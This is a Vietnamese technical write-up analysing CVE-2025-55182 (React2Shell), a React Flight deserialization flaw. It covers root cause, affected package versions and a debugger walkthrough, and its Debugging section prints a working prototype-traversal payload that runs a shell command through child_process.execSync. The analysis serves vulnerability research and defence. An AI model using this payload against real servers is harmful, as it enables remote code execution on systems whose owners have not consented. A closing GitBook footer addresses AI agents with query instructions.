> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/security-research/phan-tich-react2shell-cve-2025-55182.md).

# Phân tích REACT2Shell (CVE-2025-55182)

## 1. Overview :

CVE-2025-55182 là một lỗ hổng do thiếu validate trong quá trình **React Flight** deserialization.

Attacker có thể gửi payload malicious tới endpoint **`RSC / Server Actions`**, lợi dụng việc resolve reference không an toàn để truy cập prototype chain, từ đó kiểm soát execution flow và có thể dẫn tới RCE.

**Root Cause :**

* React sử dụng **React Flight Protocol** (**RFP**) để deserialize dữ liệu từ client thành object và execution graph.
* Tuy nhiên, trong quá trình resolve reference (ví dụ `$0:prop:subprop`), React không validate key truy cập, cho phép attacker truy cập vào các property nội bộ như `__proto__`.

Điều này dẫn tới việc attacker có thể:

* traverse prototype chain
* lấy được native function
* kiểm soát execution flow

\=> improper validation in deserialization → prototype access → RCE

## 2. Vulnerability Prerequisites.

#### 1.1 Affected Packages & Versions :

| **Package**                  | **Affected Versions**                  |
| ---------------------------- | -------------------------------------- |
| `react-server-dom-webpack`   | `19.0.0`, `19.1.0`, `19.1.1`, `19.2.0` |
| `react-server-dom-parcel`    | `19.0.0`, `19.1.0`, `19.1.1`, `19.2.0` |
| `react-server-dom-turbopack` | `19.0.0`, `19.1.0`, `19.1.1`, `19.2.0` |

#### 1.2 Attack Surface & Requirements :

Lỗ hổng này không ảnh hưởng tới mọi website dùng React. Để một website thực sự bị tác động, thường cần có các điều kiện sau:

* Website sử dụng React Server Components (RSC) hoặc Server Actions ở phía server.
* Server dùng một trong các package bị ảnh hưởng như **`react-server-dom-webpack`**, **`react-server-dom-parcel`**, hoặc **`react-server-dom-turbopack`**.
* Website có expose endpoint liên quan tới **RSC / Server Actions** để client gửi dữ liệu lên server.
* Dữ liệu từ client đi vào quá trình **Deserialize Flight Payload** của **React**.
* Attacker có thể kiểm soát payload gửi tới endpoint đó.

Nói cách khác, nếu ứng dụng chỉ dùng React theo kiểu client-side thông thường, hoặc không có luồng xử lý **React Flight / Server Actions** ở server, thì lỗ hổng này thường không reachable.

## 3. Background Technical

Để phân tích vào bên trong bản chất của lỗ hổng này thì chúng ta cần phải biết **`React Server Components`** là gì và giao thức **`React Flight Protocol`** hoạt động như thế nào.

### 3.1 React Server Components (RSC)

Khi chúng ta vào các website, chúng ta hay thấy các dạng kiểu :

* **Client Side Rendering** : Là dạng web mà client sẽ request tới API của server để lấy dữ liệu về (thường là JSON) , sau đó render data sau khi fecth thành UI.
* **Server Side Rendering** : Là dạng mà Server Render template html cho chúng ta thẳng luôn, Ví dụ như : EJS,...

Tuy nhiên, **`React Server Components (RSC)`** giới thiệu một mô hình mới, nằm ở giữa hai cách trên:

* Component được thực thi trên server
* Nhưng server không trả HTML hoàn chỉnh
* Thay vào đó, server trả về một dạng mô tả UI (**Flight payload**) để **React** ở client dựng lại giao diện

<figure><img src="/files/ZrnQDlJjVMW333hWxRqs" alt=""><figcaption></figcaption></figure>

Và nó sử dụng **React Flight Protocol** để truyền tải dữ liệu.

### 3.2 React Flight Protocol :&#x20;

**React Flight Protocol** là giao thức serialization nội bộ (custom wire protocol) mà React dùng để truyền dữ liệu của **Server Components** từ server sang client (và ngược lại khi gọi **Server Actions**).

Không giống JSON thuần túy hay HTML, Flight là **streaming chunk-based protocol** với cú pháp đặc biệt:

Thay vì trả về HTML như:

```html
<h1>John</h1>
```

Hoặc Json :

```json
{ "name": "John" }
```

Server sẽ trả về một payload dạng:

```python
["$", "h1", null, { "children": "John" }]
```

Hoặc phức tạp hơn với **Module Reference**:

```python
J0:["$","M",1,null,{"text":"Click here"}]
M1:{"id":"./ClientButton.js#default"}
```

Payload này thực chất là một dạng **`serialized React element tree`**, bao gồm:

* **React elements** (ví dụ: div, h1, component custom)
* **Props**
* **Reference tới Client Components**
* **Reference tới Server Functions**

Giải thích :

* **`M1`**: Đây là **`Module Reference (Client Reference)`** — server chỉ gửi **"địa chỉ" (reference)** đến file **Client Component** thay vì gửi toàn bộ code. Client sẽ dynamic import module từ bundle và render.
* **`J0`**: Instruction nói: Dùng module số 1 với props **`{text: "Click here"}`**.

Điều này cho thấy Flight không chỉ là data, mà là mô tả UI có thể được reconstruct lại.

Ví dụ cho dễ hiểu :

Server dùng

```javascript
import ClientButton from './ClientButton';

export default function Page() {
  return <ClientButton text="Click here" />;   // truyền text vào props
}
```

File **`ClientButton.js`** (chạy ở client)

```javascript
'use client'

export default function ClientButton({ text }) {   // nhận props tên là "text"
  return <button>{text}</button>    // dùng props để hiển thị chữ
}
```

Thì Flight payload server gửi về client sẽ như sau :

```json
J0:["$","M",1,null,{"text":"Click here"}]
M1:{"id":"./ClientButton.js#default"}
```

Lúc này :

* **`M1`**: Nói với client: Component số 1 là file **`./ClientButton.js`**
* **`J0`**: Nói với client: Dùng component số 1, truyền cho nó props **`{text: "Click here"}`** => Sau đó nó sẽ dựng lại nút button dạng :

```html
<button>Click here</button>
```

> Và khi **Client** giao tiếp với **Server** thì cũng dùng **React Flight Protocol** mà để hiểu được payload gửi lên nó chứa những gì thì nó sẽ có 1 quá trình là **deserialize Flight payload**, mà trong khi **deserialize Flight payload** thì nó sẽ tạo các object nội bộ từ JSON chunks, **resolve** các **reference** chéo và xây dựng lại cấu trúc dữ liệu: **arguments, function reference, props, v.v.**
>
> Trong quá trình này, do **deserializer tin tưởng payload** quá mức và **không validate** chặt chẽ nên đã dẫn tới việc attacker có thể **craft payload** chứa các **chunk đặc biệt** dẫn tới việc nó có thể bị **prototype traversal**.

## 4. Exploitation Strategy&#x20;

Để chain được RCE, chúng ta phải hiểu 2 kĩ thuật của Nodejs mà các researcher đã sử dụng

* **Thenable Trigger**: Lợi dụng việc **Node.js** tự động thực thi hàm **`.then()`** khi một object được **resolve** nếu nó có cấu trúc của một **`Thenable`**.
* **Function Constructor**: Sử dụng **`object.constructor.constructor`** để biến một chuỗi string (payload) thành một **executable function**.

### 4.1 Thenable Trigger:

Trong JavaScript, **thenable** là một object có **`property` then** và **`property`** đó là một function. Ví dụ như:

```javascript
let duc = { name: 'duc193', then: () => {
    console.log('thenable') ;
  }
}
```

Thì 1 **Object** có chứa then  **`function`** nên nó được gọi là **`thenable`** Và để trigger được **`thenable`** thì có những cách như sau :

* Gọi bằng **`resolve(object_thenable)`**

<figure><img src="/files/yoB2M6k5WWbuQpMpon58" alt=""><figcaption></figcaption></figure>

* Gọi thông qua **`.then()`** **(return thenable)**

<figure><img src="/files/8mG3S6ekEsRaQusKyUEq" alt=""><figcaption></figcaption></figure>

* Gọi thông qua **`await`**&#x20;

<figure><img src="/files/tgU5AvNN8tQs7TDMcrDv" alt=""><figcaption></figcaption></figure>

Vậy ý tưởng exploit là sẽ làm sao để chèn được **thenable** vào trong **1 object** và để nó **resolve object** là gọi được **function** tuỳ ý.

### 4.2 Function Constructor

Vì phải truyền 1 function vào **Object** mà bình thường chúng ta chỉ truyền được **string**, vậy để truyền được 1 function vào trong **thenable** thì chúng ta cần sử dụng **`object.constructor.constructor`**&#x20;

Trong JS, khi chúng ta gọi tới **`object.constructor`** thì nó sẽ return ra **`Object` constructor**. Còn khi gọi tới **`object.constructor.constructor`** nó sẽ gọi tới **`Function()` constructor**

<figure><img src="/files/fmGYxKaiWc31G80tqZVy" alt=""><figcaption></figcaption></figure>

Nếu chúng ta sử dụng **`object.constructor.constructor('console.log(123)'])()`**  thì chúng ta đã gọi được **`console.log(123)`**

<figure><img src="/files/BQWUExBjS59fQ7j6Nsk8" alt=""><figcaption></figcaption></figure>

Vậy thì để chèn vào **Object**  1 **thenable function** thì chúng ta chỉ cần chèn như sau :

<figure><img src="/files/RXvpisfpr63njlagnuIN" alt=""><figcaption></figcaption></figure>

Vậy là đã xong ý tưởng exploit, giờ đến phần **chain deserialize** làm sao để **craft** được **thenable** vào **object**

## 5. Debugging

Đặt breakpoint vào event thì nó hit sự kiện `field`, chạy vào hàm `resolveField` với `name` là `0` và `value` là

```json
{\r\n    "then": "$1:__proto__:then",\r\n    "status": "resolved_model",\r\n    "reason": -1,\r\n\t  "a": [],\r\n    "value": "{\\"then\\":\\"$B1337\\"}",\r\n    "_response": {\r\n        "_prefix": "var res=process.mainModule.require('child_process').execSync('calc').toString();",\r\n        "_chunks":"$1:__proto__:a",\r\n        "_formData": {\r\n            "get": "$1:constructor:constructor"\r\n        }\r\n    }\r\n}
```

<figure><img src="https://hackmd.io/_uploads/HJLhE5hoZg.png" alt=""><figcaption></figcaption></figure>

Ở đây thì nó sẽ reconstruct lại chunk từ data của chúng ta gửi lên. Đầu tiên nó add data vào `_formData` sau đó sẽ chuyển vào `resolveModelChunk`&#x20;

<figure><img src="https://hackmd.io/_uploads/H1a6S53j-g.png" alt=""><figcaption></figcaption></figure>

Ở bên trong hàm `resolveModelChunk`, ta thấy nó set status chunk thành `resolved_model`, `chunk.value` là value trong form trên. Và vì `resolveListeners` là `null` nên nó chả return về j cả&#x20;

<figure><img src="https://hackmd.io/_uploads/ByPED53sZg.png" alt=""><figcaption></figcaption></figure>

Và chúng ta có thể thấy `resolveField` được gọi lần thứ 2 với value là `$@0`, đó là chunk 2 của chúng ta

<figure><img src="https://hackmd.io/_uploads/SJi6vq3j-l.png" alt=""><figcaption></figcaption></figure>

(NOTE : status của chunk 1 là resolved\_model, chunk2 chưa được set)

Sau đó đặt bp vào chỗ set `thenable` thì thấy hit chunk đầu tiên và nhảy vào `initializeModelChunk`

<figure><img src="https://hackmd.io/_uploads/S1Ts9y6obx.png" alt=""><figcaption></figcaption></figure>

Ở đây nó sẽ set status `cyclic` và parse `resolvedModel` tức `chunk.value` từ json thành Object sau đó đưa vào hàm `reviveModel`&#x20;

<figure><img src="https://hackmd.io/_uploads/S17di1Tj-x.png" alt=""><figcaption></figcaption></figure>

`reviveModel` là hàm đệ quy dùng để reconstruct (khôi phục) lại object từ JSON, đồng thời transform giá trị (đặc biệt là string), set lại `property`, xử lý `reference` và có thể loại bỏ `field` không hợp lệ.

<figure><img src="https://hackmd.io/_uploads/BysYXjJhbx.png" alt=""><figcaption></figcaption></figure>

Và ở đây, nó sẽ gọi `reviveModel()` đệ quy cho `value[key]`, lấy kết quả trả về và ghi lại vào chính `value[key]`

Trước tiên, nói về `Chunk1` là `$@0` đã, `$@0` nó sẽ tham chiếu đến `Chunk0`, lấy luôn object chunk gốc chưa qua resolve, ví dụ chúng ta trỏ tới `$1:__proto__:then` thì nó sẽ tham chiếu tới `Chunk1`, mà `Chunk1` lại trỏ về `Chunk0` \
\=> tham chiếu lại bản thân mình để khi deserialize không vướng `Chunk` khác parse ra lỗi.

Và bên trong `reviveModel()` có hàm `parseModelString()`, nó là **"bộ giải mã đặc biệt"** cho tất cả các chuỗi bắt đầu bằng ký tự `$` trong payload Flight. Nó sẽ chuyển chuỗi đặc biệt như `$xxx` thành giá trị JavaScript thật (`chunk object`, `FormData`, `Promise`, `typed array`, `number`, `function reference`, v.v.). Chung quy lại là xử lí các `Flight Reference Types`

<figure><img src="https://hackmd.io/_uploads/B10WEhy2be.png" alt=""><figcaption></figcaption></figure>

Ví dụ : `$1:__proto__:then` sẽ gọi tới `__proto__.then` của `Chunk0` (do của `Chunk1` reference tới `Chunk0`) => Gọi tới hàm then của `Chunk0` là `Chunk0.__proto__.then`

Đây là 2 chunk của chúng ta :

<figure><img src="https://hackmd.io/_uploads/r1T1Z213Ze.png" alt=""><figcaption></figcaption></figure>

Vậy thì nó sẽ xử lý theo flow như sau :&#x20;

<figure><img src="https://hackmd.io/_uploads/ByMPM3y3Zx.png" alt=""><figcaption></figcaption></figure>

Cơ bản sẽ thành như sau:

<figure><img src="https://hackmd.io/_uploads/HJnk_2khbx.png" alt=""><figcaption></figcaption></figure>

Và khi `$B1337` được gọi ở `parseModelString` thì sẽ nhảy vô case `B` &#x20;

<figure><img src="https://hackmd.io/_uploads/Hk-tO3knZg.png" alt=""><figcaption></figcaption></figure>

Lúc này nó sẽ gọi `response._formData.get(response._prefix + obj)` Và ở đây cũng dính ảo thuật, vì `response._formData.get` ở `Chunk0` của chúng ta là 1 `Function` rồi thì khi gọi như vậy nó sẽ return 1 Function anonymous với code là `response._prefix` (malicious code của chúng ta) demo :

![](https://hackmd.io/_uploads/BJMQt21hbl.png)

Return :

<figure><img src="https://hackmd.io/_uploads/B1QBK2J3be.png" alt=""><figcaption></figcaption></figure>

Sau đó ở ngoài `initializeModelChunk` sẽ set status `fulfilled` và value là anonymous function

<figure><img src="https://hackmd.io/_uploads/S1vJ5nk3bx.png" alt=""><figcaption></figcaption></figure>

Sau đó ở ngoài resolve object có thenable => trigger then() => RCE.

<figure><img src="https://hackmd.io/_uploads/HkA7c212bg.png" alt=""><figcaption></figcaption></figure>

## Reference :

* <https://testbnull.medium.com/and-then-and-then-and-then-give-me-the-react2-shell-3c4b60ebaef9>
* <https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html>
* <https://www.linkedin.com/pulse/react-flight-protocol-nidhin-kumar-dhzpc/>
* <https://github.com/msanft/CVE-2025-55182/blob/main/README.md>
* [HerringtonDarkholme](https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/security-research/phan-tich-react2shell-cve-2025-55182.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
